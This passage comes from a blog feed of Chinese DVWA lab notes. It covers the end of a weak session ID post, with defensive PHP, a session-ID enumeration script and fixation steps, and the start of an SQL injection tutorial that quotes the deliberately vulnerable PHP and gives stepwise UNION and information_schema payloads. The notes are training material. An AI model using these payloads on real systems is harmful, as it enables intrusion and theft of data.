class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><span class="line"><span class="title function_ invoke__">session_start</span>();</span><br><span class="line"></span><br><span class="line"><span class="comment">// 绑定到IP地址（可选，可能影响移动用户）</span></span><br><span class="line"><span class="keyword">if</span> (!<span class="keyword">isset</span>(<span class="variable">$_SESSION</span>[<span class="string">&#x27;ip&#x27;</span>])) &#123;</span><br><span class="line">    <span class="variable">$_SESSION</span>[<span class="string">&#x27;ip&#x27;</span>] = <span class="variable">$_SERVER</span>[<span class="string">&#x27;REMOTE_ADDR&#x27;</span>];</span><br><span class="line">&#125; <span class="keyword">elseif</span> (<span class="variable">$_SESSION</span>[<span class="string">&#x27;ip&#x27;</span>] !== <span class="variable">$_SERVER</span>[<span class="string">&#x27;REMOTE_ADDR&#x27;</span>]) &#123;</span><br><span class="line">    <span class="comment">// IP changed, destroy session</span></span><br><span class="line">    <span class="title function_ invoke__">session_destroy</span>();</span><br><span class="line">    <span class="keyword">die</span>(<span class="string">&#x27;Session hijacking detected&#x27;</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 绑定到User-Agent</span></span><br><span class="line"><span class="keyword">if</span> (!<span class="keyword">isset</span>(<span class="variable">$_SESSION</span>[<span class="string">&#x27;user_agent&#x27;</span>])) &#123;</span><br><span class="line">    <span class="variable">$_SESSION</span>[<span class="string">&#x27;user_agent&#x27;</span>] = <span class="variable">$_SERVER</span>[<span class="string">&#x27;HTTP_USER_AGENT&#x27;</span>];</span><br><span class="line">&#125; <span class="keyword">elseif</span> (<span class="variable">$_SESSION</span>[<span class="string">&#x27;user_agent&#x27;</span>] !== <span class="variable">$_SERVER</span>[<span class="string">&#x27;HTTP_USER_AGENT&#x27;</span>]) &#123;</span><br><span class="line">    <span class="title function_ invoke__">session_destroy</span>();</span><br><span class="line">    <span class="keyword">die</span>(<span class="string">&#x27;Session hijacking detected&#x27;</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// Session超时</span></span><br><span class="line"><span class="variable">$timeout</span> = <span class="number">30</span> * <span class="number">60</span>; <span class="comment">// 30分钟</span></span><br><span class="line"><span class="keyword">if</span> (<span class="keyword">isset</span>(<span class="variable">$_SESSION</span>[<span class="string">&#x27;last_activity&#x27;</span>]) &amp;&amp;</span><br><span class="line">    (<span class="title function_ invoke__">time</span>() - <span class="variable">$_SESSION</span>[<span class="string">&#x27;last_activity&#x27;</span>]) &gt; <span class="variable">$timeout</span>) &#123;</span><br><span class="line">    <span class="title function_ invoke__">session_destroy</span>();</span><br><span class="line">    <span class="keyword">die</span>(<span class="string">&#x27;Session expired&#x27;</span>);</span><br><span class="line">&#125;</span><br><span class="line"><span class="variable">$_SESSION</span>[<span class="string">&#x27;last_activity&#x27;</span>] = <span class="title function_ invoke__">time</span>();</span><br></pre></td></tr></table></figure><h4 id="5-自定义Session-ID生成器（高级）"><a href="#5-自定义Session-ID生成器（高级）" class="headerlink" title="5. 自定义Session ID生成器（高级）"></a>5. 自定义Session ID生成器（高级）</h4><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 如果需要自定义Session ID</span></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">generate_secure_session_id</span>(<span class="params"></span>) </span>&#123;</span><br><span class="line">    <span class="comment">// 使用random_bytes()生成强随机数</span></span><br><span class="line">    <span class="variable">$random_bytes</span> = <span class="title function_ invoke__">random_bytes</span>(<span class="number">32</span>);</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 转换为十六进制字符串</span></span><br><span class="line">    <span class="variable">$session_id</span> = <span class="title function_ invoke__">bin2hex</span>(<span class="variable">$random_bytes</span>);</span><br><span class="line"></span><br><span class="line">    <span class="keyword">return</span> <span class="variable">$session_id</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 设置自定义ID</span></span><br><span class="line"><span class="title function_ invoke__">session_id</span>(<span class="title function_ invoke__">generate_secure_session_id</span>());</span><br><span class="line"><span class="title function_ invoke__">session_start</span>();</span><br></pre></td></tr></table></figure><h3 id="框架层面"><a href="#框架层面" class="headerlink" title="框架层面"></a>框架层面</h3><h4 id="Laravel示例"><a href="#Laravel示例" class="headerlink" title="Laravel示例"></a>Laravel示例</h4><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// Laravel自动管理Session，非常安全</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// 配置文件：config/session.php</span></span><br><span class="line"><span class="keyword">return</span> [</span><br><span class="line">    <span class="string">&#x27;driver&#x27;</span> =&gt; <span class="string">&#x27;database&#x27;</span>, <span class="comment">// 或 &#x27;redis&#x27;, &#x27;memcached&#x27;</span></span><br><span class="line">    <span class="string">&#x27;lifetime&#x27;</span> =&gt; <span class="number">120</span>,</span><br><span class="line">    <span class="string">&#x27;expire_on_close&#x27;</span> =&gt; <span class="literal">false</span>,</span><br><span class="line">    <span class="string">&#x27;encrypt&#x27;</span> =&gt; <span class="literal">true</span>,</span><br><span class="line">    <span class="string">&#x27;http_only&#x27;</span> =&gt; <span class="literal">true</span>,</span><br><span class="line">    <span class="string">&#x27;secure&#x27;</span> =&gt; <span class="literal">true</span>,</span><br><span class="line">    <span class="string">&#x27;same_site&#x27;</span> =&gt; <span class="string">&#x27;strict&#x27;</span>,</span><br><span class="line">];</span><br><span class="line"></span><br><span class="line"><span class="comment">// 使用</span></span><br><span class="line"><span class="title function_ invoke__">session</span>([<span class="string">&#x27;key&#x27;</span> =&gt; <span class="string">&#x27;value&#x27;</span>]);</span><br><span class="line"><span class="variable">$value</span> = <span class="title function_ invoke__">session</span>(<span class="string">&#x27;key&#x27;</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 更新Session ID</span></span><br><span class="line"><span class="title function_ invoke__">session</span>()-&gt;<span class="title function_ invoke__">regenerate</span>();</span><br></pre></td></tr></table></figure><h3 id="监控和日志"><a href="#监控和日志" class="headerlink" title="监控和日志"></a>监控和日志</h3><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 记录Session活动</span></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">log_session_activity</span>(<span class="params"></span>) </span>&#123;</span><br><span class="line">    <span class="variable">$log</span> = [</span><br><span class="line">        <span class="string">&#x27;session_id&#x27;</span> =&gt; <span class="title function_ invoke__">session_id</span>(),</span><br><span class="line">        <span class="string">&#x27;user_id&#x27;</span> =&gt; <span class="variable">$_SESSION</span>[<span class="string">&#x27;user_id&#x27;</span>] ?? <span class="string">&#x27;anonymous&#x27;</span>,</span><br><span class="line">        <span class="string">&#x27;ip&#x27;</span> =&gt; <span class="variable">$_SERVER</span>[<span class="string">&#x27;REMOTE_ADDR&#x27;</span>],</span><br><span class="line">        <span class="string">&#x27;user_agent&#x27;</span> =&gt; <span class="variable">$_SERVER</span>[<span class="string">&#x27;HTTP_USER_AGENT&#x27;</span>],</span><br><span class="line">        <span class="string">&#x27;timestamp&#x27;</span> =&gt; <span class="title function_ invoke__">time</span>(),</span><br><span class="line">    ];</span><br><span class="line"></span><br><span class="line">    <span class="title function_ invoke__">file_put_contents</span>(</span><br><span class="line">        <span class="string">&#x27;session_log.txt&#x27;</span>,</span><br><span class="line">        <span class="title function_ invoke__">json_encode</span>(<span class="variable">$log</span>) . <span class="string">&quot;\n&quot;</span>,</span><br><span class="line">        FILE_APPEND</span><br><span class="line">    );</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><hr><h2 id="总结对比"><a href="#总结对比" class="headerlink" title="总结对比"></a>总结对比</h2><table><thead><tr><th>特性</th><th>Low</th><th>Medium</th><th>High</th><th>Impossible</th></tr></thead><tbody><tr><td>生成方式</td><td>递增计数器</td><td>时间戳</td><td>MD5(时间戳)</td><td>PHP Session</td></tr><tr><td>可预测性</td><td>完全可预测</td><td>高度可预测</td><td>可预测</td><td>不可预测</td></tr><tr><td>熵值</td><td>极低</td><td>低</td><td>中</td><td>高（128位）</td></tr><tr><td>长度</td><td>1-4位</td><td>10位</td><td>32字符</td><td>32字符</td></tr><tr><td>字符集</td><td>数字</td><td>数字</td><td>十六进制</td><td>字母数字</td></tr><tr><td>暴力破解</td><td>秒级</td><td>分钟级</td><td>小时级</td><td>不可行</td></tr><tr><td>安全标志</td><td>❌</td><td>❌</td><td>❌</td><td>✅（可配置）</td></tr><tr><td>攻击难度</td><td>极易</td><td>简单</td><td>中等</td><td>极难</td></tr></tbody></table><hr><h2 id="常用攻击技巧"><a href="#常用攻击技巧" class="headerlink" title="常用攻击技巧"></a>常用攻击技巧</h2><h3 id="Session劫持"><a href="#Session劫持" class="headerlink" title="Session劫持"></a>Session劫持</h3><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 枚举Session ID</span></span><br><span class="line"><span class="keyword">for</span> session_id <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">0</span>, <span class="number">1000</span>):</span><br><span class="line">    cookies = &#123;<span class="string">&#x27;dvwaSession&#x27;</span>: <span class="built_in">str</span>(session_id)&#125;</span><br><span class="line">    response = requests.get(url, cookies=cookies)</span><br><span class="line">    <span class="comment"># 检查响应</span></span><br></pre></td></tr></table></figure><h3 id="Session固定"><a href="#Session固定" class="headerlink" title="Session固定"></a>Session固定</h3><figure class="highlight awk"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="number">1</span>. 攻击者获取Session ID：ABC123</span><br><span class="line"><span class="number">2</span>. 发送链接给受害者：http:<span class="regexp">//</span>site.com/?session_id=ABC123</span><br><span class="line"><span class="number">3</span>. 受害者登录（使用ABC123）</span><br><span class="line"><span class="number">4</span>. 攻击者使用ABC123访问（现在是已登录状态）</span><br></pre></td></tr></table></figure><h3 id="时间窗口攻击"><a href="#时间窗口攻击" class="headerlink" title="时间窗口攻击"></a>时间窗口攻击</h3><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 针对基于时间的Session</span></span><br><span class="line"><span class="keyword">import</span> time</span><br><span class="line">current = <span class="built_in">int</span>(time.time())</span><br><span class="line"><span class="keyword">for</span> offset <span class="keyword">in</span> <span class="built_in">range</span>(-<span class="number">300</span>, <span class="number">300</span>):</span><br><span class="line">    test_session = current + offset</span><br><span class="line">    <span class="comment"># 或 md5(test_session)</span></span><br></pre></td></tr></table></figure><hr><h2 id="实战建议"><a href="#实战建议" class="headerlink" title="实战建议"></a>实战建议</h2><p><strong>学习路径：</strong></p><ol><li><strong>Low难度</strong> - 理解递增Session的危险</li><li><strong>Medium难度</strong> - 学习时间窗口枚举</li><li><strong>High难度</strong> - 掌握预计算攻击</li><li><strong>Impossible难度</strong> - 理解强随机Session</li></ol><p><strong>攻击技巧：</strong></p><ul><li>观察Session ID模式</li><li>使用Python脚本自动化</li><li>多线程加速枚举</li><li>预计算常见哈希</li></ul><p><strong>防御重点：</strong></p><ul><li>使用PHP内置Session</li><li>配置安全选项（HttpOnly, Secure）</li><li>定期更新Session ID</li><li>绑定IP&#x2F;User-Agent（可选）</li><li>设置超时</li></ul><p><strong>道德准则：</strong></p><ul><li>只在授权环境测试</li><li>不窃取他人Session</li><li>学习是为了构建安全系统</li></ul>]]></content>
    
    
      
      
    <summary type="html">&lt;h2 id=&quot;目录&quot;&gt;&lt;a href=&quot;#目录&quot; class=&quot;headerlink&quot; title=&quot;目录&quot;&gt;&lt;/a&gt;目录&lt;/h2&gt;&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;#%E6%BC%8F%E6%B4%9E%E7%AE%80%E4%BB%8B&quot;&gt;漏洞简介&lt;/a&gt;&lt;/li&gt;
&lt;l</summary>
      
    
    
    
    <category term="dvwa靶场学习笔记" scheme="http://caixuya.github.io/categories/dvwa%E9%9D%B6%E5%9C%BA%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"/>
    
    
  </entry>
  
  <entry>
    <title>DVWA - SQL Injection (SQL注入) 攻防练习详解</title>
    <link href="http://caixuya.github.io/2025/11/20/SQL_Injection_%E6%94%BB%E9%98%B2%E7%BB%83%E4%B9%A0/"/>
    <id>http://caixuya.github.io/2025/11/20/SQL_Injection_%E6%94%BB%E9%98%B2%E7%BB%83%E4%B9%A0/</id>
    <published>2025-11-20T15:31:37.128Z</published>
    <updated>2025-11-22T08:23:38.094Z</updated>
    
    <content type="html"><![CDATA[<h2 id="目录"><a href="#目录" class="headerlink" title="目录"></a>目录</h2><ul><li><a href="#%E6%BC%8F%E6%B4%9E%E7%AE%80%E4%BB%8B">漏洞简介</a></li><li><a href="#low-%E9%9A%BE%E5%BA%A6">Low 难度</a></li><li><a href="#medium-%E9%9A%BE%E5%BA%A6">Medium 难度</a></li><li><a href="#high-%E9%9A%BE%E5%BA%A6">High 难度</a></li><li><a href="#impossible-%E9%9A%BE%E5%BA%A6">Impossible 难度</a></li><li><a href="#%E9%98%B2%E5%BE%A1%E5%BB%BA%E8%AE%AE">防御建议</a></li></ul><hr><h2 id="漏洞简介"><a href="#漏洞简介" class="headerlink" title="漏洞简介"></a>漏洞简介</h2><h3 id="什么是SQL注入（SQL-Injection）？"><a href="#什么是SQL注入（SQL-Injection）？" class="headerlink" title="什么是SQL注入（SQL Injection）？"></a>什么是SQL注入（SQL Injection）？</h3><p>SQL注入是一种代码注入技术，攻击者通过在应用程序的输入字段中插入恶意SQL代码，操纵后台数据库执行非预期的查询。</p><p><strong>攻击原理：</strong><br>应用程序将用户输入直接拼接到SQL查询语句中，没有进行适当的过滤和验证。</p><p><strong>危害：</strong></p><ul><li>绕过登录验证</li><li>读取敏感数据（用户信息、密码）</li><li>修改数据库内容</li><li>删除数据</li><li>执行系统命令（高级）</li><li>完全控制数据库服务器</li></ul><p><strong>OWASP Top 10：</strong><br>SQL注入长期位居OWASP十大Web应用安全风险前列。</p><hr><h2 id="Low-难度"><a href="#Low-难度" class="headerlink" title="Low 难度"></a>Low 难度</h2><h3 id="攻击目标"><a href="#攻击目标" class="headerlink" title="攻击目标"></a>攻击目标</h3><p>完全未过滤的用户ID查询，存在严重SQL注入漏洞。</p><h3 id="后端代码分析"><a href="#后端代码分析" class="headerlink" title="后端代码分析"></a>后端代码分析</h3><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// 检查是否提交了表单</span></span><br><span class="line"><span class="comment">// isset() - 检查变量是否存在且非NULL</span></span><br><span class="line"><span class="comment">// $_REQUEST - 包含$_GET、$_POST、$_COOKIE的超全局数组</span></span><br><span class="line"><span class="keyword">if</span>( <span class="keyword">isset</span>( <span class="variable">$_REQUEST</span>[ <span class="string">&#x27;Submit&#x27;</span> ] ) ) &#123;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// ★★★ 危险操作：直接获取用户输入，无任何过滤 ★★★</span></span><br><span class="line">    <span class="comment">// 从请求中获取id参数</span></span><br><span class="line">    <span class="comment">// 例如：?id=1&amp;Submit=Submit</span></span><br><span class="line">    <span class="variable">$id</span> = <span class="variable">$_REQUEST</span>[ <span class="string">&#x27;id&#x27;</span> ];</span><br><span class="line"></span><br><span class="line">    <span class="comment">// ★★★ 核心漏洞：直接拼接SQL语句 ★★★</span></span><br><span class="line">    <span class="comment">// 将用户输入直接插入SQL查询</span></span><br><span class="line">    <span class="comment">// 没有任何验证、过滤或转义！</span></span><br><span class="line">    <span class="comment">// $id的值完全由用户控制</span></span><br><span class="line">    <span class="variable">$query</span>  = <span class="string">&quot;SELECT first_name, last_name FROM users WHERE user_id = &#x27;<span class="subst">$id</span>&#x27;;&quot;</span>;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 执行SQL查询</span></span><br><span class="line">    <span class="comment">// mysql_query() - 执行MySQL查询（已废弃的函数）</span></span><br><span class="line">    <span class="comment">// or die() - 查询失败时终止并显示错误</span></span><br><span class="line">    <span class="comment">// mysql_error() - 返回MySQL错误信息（会泄露数据库结构！）</span></span><br><span class="line">    <span class="variable">$result</span> = <span class="title function_ invoke__">mysql_query</span>( <span class="variable">$query</span> ) <span class="keyword">or</span> <span class="keyword">die</span>( <span class="string">&#x27;&lt;pre&gt;&#x27;</span> . <span class="title function_ invoke__">mysql_error</span>() . <span class="string">&#x27;&lt;/pre&gt;&#x27;</span> );</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 获取查询结果</span></span><br><span class="line">    <span class="comment">// mysql_fetch_assoc() - 将结果行作为关联数组返回</span></span><br><span class="line">    <span class="comment">// 例如：[&#x27;first_name&#x27; =&gt; &#x27;admin&#x27;, &#x27;last_name&#x27; =&gt; &#x27;admin&#x27;]</span></span><br><span class="line">    <span class="variable">$row</span> = <span class="title function_ invoke__">mysql_fetch_assoc</span>( <span class="variable">$result</span> );</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 检查是否有结果</span></span><br><span class="line">    <span class="keyword">if</span>( <span class="variable">$row</span> ) &#123;</span><br><span class="line">        <span class="comment">// 输出用户信息</span></span><br><span class="line">        <span class="comment">// &#123;$row[ &#x27;first_name&#x27; ]&#125; - 在双引号字符串中插入变量</span></span><br><span class="line">        <span class="comment">// &lt;br /&gt; - HTML换行标签</span></span><br><span class="line">        <span class="variable">$html</span> .= <span class="string">&#x27;&lt;pre&gt;ID: &#x27;</span> . <span class="variable">$id</span> . <span class="string">&#x27;&lt;br /&gt;First name: &#x27;</span> . <span class="variable">$row</span>[ <span class="string">&#x27;first_name&#x27;</span> ] . <span class="string">&#x27;&lt;br /&gt;Surname: &#x27;</span> . <span class="variable">$row</span>[ <span class="string">&#x27;last_name&#x27;</span> ] . <span class="string">&#x27;&lt;/pre&gt;&#x27;</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">else</span> &#123;</span><br><span class="line">        <span class="comment">// 未找到用户</span></span><br><span class="line">        <span class="variable">$html</span> .= <span class="string">&#x27;&lt;pre&gt;User ID is MISSING from the database.&lt;/pre&gt;&#x27;</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 关闭数据库连接</span></span><br><span class="line">    <span class="title function_ invoke__">mysql_close</span>();</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><h3 id="漏洞分析"><a href="#漏洞分析" class="headerlink" title="漏洞分析"></a>漏洞分析</h3><p><strong>核心问题：</strong></p><ol><li><strong>直接拼接SQL</strong> - 用户输入直接插入查询</li><li><strong>无输入验证</strong> - 不检查ID是否为数字</li><li><strong>无特殊字符过滤</strong> - 允许单引号、注释符等</li><li><strong>错误信息泄露</strong> - 显示MySQL错误（暴露数据库结构）</li><li><strong>使用废弃函数</strong> - mysql_query()已不再推荐</li></ol><p><strong>攻击向量：</strong></p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">-- 正常查询</span></span><br><span class="line"><span class="keyword">SELECT</span> first_name, last_name <span class="keyword">FROM</span> users <span class="keyword">WHERE</span> user_id <span class="operator">=</span> <span class="string">&#x27;1&#x27;</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">-- 注入攻击</span></span><br><span class="line"><span class="comment">-- 输入：1&#x27; OR &#x27;1&#x27;=&#x27;1</span></span><br><span class="line"><span class="keyword">SELECT</span> first_name, last_name <span class="keyword">FROM</span> users <span class="keyword">WHERE</span> user_id <span class="operator">=</span> <span class="string">&#x27;1&#x27;</span> <span class="keyword">OR</span> <span class="string">&#x27;1&#x27;</span><span class="operator">=</span><span class="string">&#x27;1&#x27;</span>;</span><br><span class="line"><span class="comment">-- 结果：返回所有用户（因为 &#x27;1&#x27;=&#x27;1&#x27; 永远为真）</span></span><br></pre></td></tr></table></figure><h3 id="攻击步骤"><a href="#攻击步骤" class="headerlink" title="攻击步骤"></a>攻击步骤</h3><h4 id="步骤1：判断是否存在SQL注入"><a href="#步骤1：判断是否存在SQL注入" class="headerlink" title="步骤1：判断是否存在SQL注入"></a>步骤1：判断是否存在SQL注入</h4><p><strong>测试1：输入单引号</strong></p><figure class="highlight vbnet"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">输入：<span class="number">1</span><span class="comment">&#x27;</span></span><br><span class="line">完整SQL：<span class="keyword">SELECT</span> ... <span class="keyword">WHERE</span> user_id = <span class="comment">&#x27;1&#x27;&#x27;;</span></span><br><span class="line">结果：SQL语法错误</span><br><span class="line">错误信息：You have an <span class="keyword">error</span> <span class="keyword">in</span> your SQL syntax...</span><br></pre></td></tr></table></figure><p><strong>测试2：注释符测试</strong></p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">输入：<span class="number">1</span><span class="string">&#x27; -- </span></span><br><span class="line"><span class="string">（注意1&#x27;</span><span class="comment">--后面需要有一个空格）</span></span><br><span class="line">完整<span class="keyword">SQL</span>：<span class="keyword">SELECT</span> ... <span class="keyword">WHERE</span> user_id <span class="operator">=</span> <span class="string">&#x27;1&#x27;</span> <span class="comment">-- &#x27;;</span></span><br><span class="line">结果：正常显示ID<span class="operator">=</span><span class="number">1</span>的用户</span><br><span class="line">说明：<span class="comment">-- 注释掉了后面的单引号</span></span><br></pre></td></tr></table></figure><p><strong>测试3：逻辑测试</strong></p><figure class="highlight lasso"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">输入：<span class="number">1</span><span class="string">&#x27; OR &#x27;</span><span class="number">1</span><span class="string">&#x27;=&#x27;</span><span class="number">1</span></span><br><span class="line">完整SQL：<span class="keyword">SELECT</span> <span class="params">...</span> <span class="keyword">WHERE</span> user_id = <span class="string">&#x27;1&#x27;</span> <span class="literal">OR</span> <span class="string">&#x27;1&#x27;</span>=<span class="string">&#x27;1&#x27;</span>;</span><br><span class="line">结果：显示所有用户</span><br></pre></td></tr></table></figure><h4 id="步骤2：判断列数（UNION注入准备）"><a href="#步骤2：判断列数（UNION注入准备）" class="headerlink" title="步骤2：判断列数（UNION注入准备）"></a>步骤2：判断列数（UNION注入准备）</h4><p><strong>使用ORDER BY判断列数：</strong></p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">-- 输入：1&#x27; ORDER BY 1 --</span></span><br><span class="line"><span class="comment">-- 结果：正常（说明至少有1列）</span></span><br><span class="line"></span><br><span class="line"><span class="comment">-- 输入：1&#x27; ORDER BY 2 --</span></span><br><span class="line"><span class="comment">-- 结果：正常（说明至少有2列）</span></span><br><span class="line"></span><br><span class="line"><span class="comment">-- 输入：1&#x27; ORDER BY 3 --</span></span><br><span class="line"><span class="comment">-- 结果：错误（说明只有2列）</span></span><br><span class="line"><span class="comment">-- 结论：表有2列</span></span><br></pre></td></tr></table></figure><h4 id="步骤3：使用UNION注入获取数据"><a href="#步骤3：使用UNION注入获取数据" class="headerlink" title="步骤3：使用UNION注入获取数据"></a>步骤3：使用UNION注入获取数据</h4><p><strong>基本UNION注入：</strong></p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">-- 输入：1&#x27; UNION SELECT NULL, NULL --</span></span><br><span class="line"><span class="comment">-- 测试UNION是否可用</span></span><br><span class="line"></span><br><span class="line"><span class="comment">-- 输入：1&#x27; UNION SELECT &#x27;test1&#x27;, &#x27;test2&#x27; --</span></span><br><span class="line"><span class="comment">-- 结果：显示 First name: test1, Surname: test2</span></span><br><span class="line"><span class="comment">-- 说明：可以注入任意数据</span></span><br></pre></td></tr></table></figure><h4 id="步骤4：获取数据库信息"><a href="#步骤4：获取数据库信息" class="headerlink" title="步骤4：获取数据库信息"></a>步骤4：获取数据库信息</h4><p><strong>获取数据库版本：</strong></p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">-- 输入：1&#x27; UNION SELECT @@version, NULL --</span></span><br><span class="line"><span class="comment">-- 结果：显示MySQL版本号</span></span><br></pre></td></tr></table></figure><p><strong>获取当前数据库名：</strong></p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">-- 输入：1&#x27; UNION SELECT database(), NULL --</span></span><br><span class="line"><span class="comment">-- 结果：显示当前数据库名（dvwa）</span></span><br></pre></td></tr></table></figure><p><strong>获取当前用户：</strong></p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">-- 输入：1&#x27; UNION SELECT user(), NULL --</span></span><br><span class="line"><span class="comment">-- 结果：显示当前数据库用户</span></span><br></pre></td></tr></table></figure><h4 id="步骤5：枚举数据库结构"><a href="#步骤5：枚举数据库结构" class="headerlink" title="步骤5：枚举数据库结构"></a>步骤5：枚举数据库结构</h4><p><strong>获取所有数据库名：</strong></p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">-- 输入：1&#x27; UNION SELECT schema_name, NULL FROM information_schema.schemata --</span></span><br><span class="line"><span class="comment">-- 结果：列出所有数据库</span></span><br></pre></td></tr></table></figure><p><strong>获取所有表名：</strong></p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">-- 输入：1&#x27; UNION SELECT table_name, NULL FROM information_schema.tables WHERE table_schema=&#x27;dvwa&#x27; --</span></span><br><span class="line"><span class="comment">-- 结果：列出dvwa数据库中的所有表</span></span><br><span class="line"><span class="comment">-- 例如：users, guestbook等</span></span><br></pre></td></tr></table></figure><p><strong>获取列名：</strong></p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">-- 输入：1&#x27; UNION SELECT column_name, NULL FROM information_schema.columns WHERE table_name=&#x27;users&#x27; --</span></span><br><span class="line"><span class="comment">-- 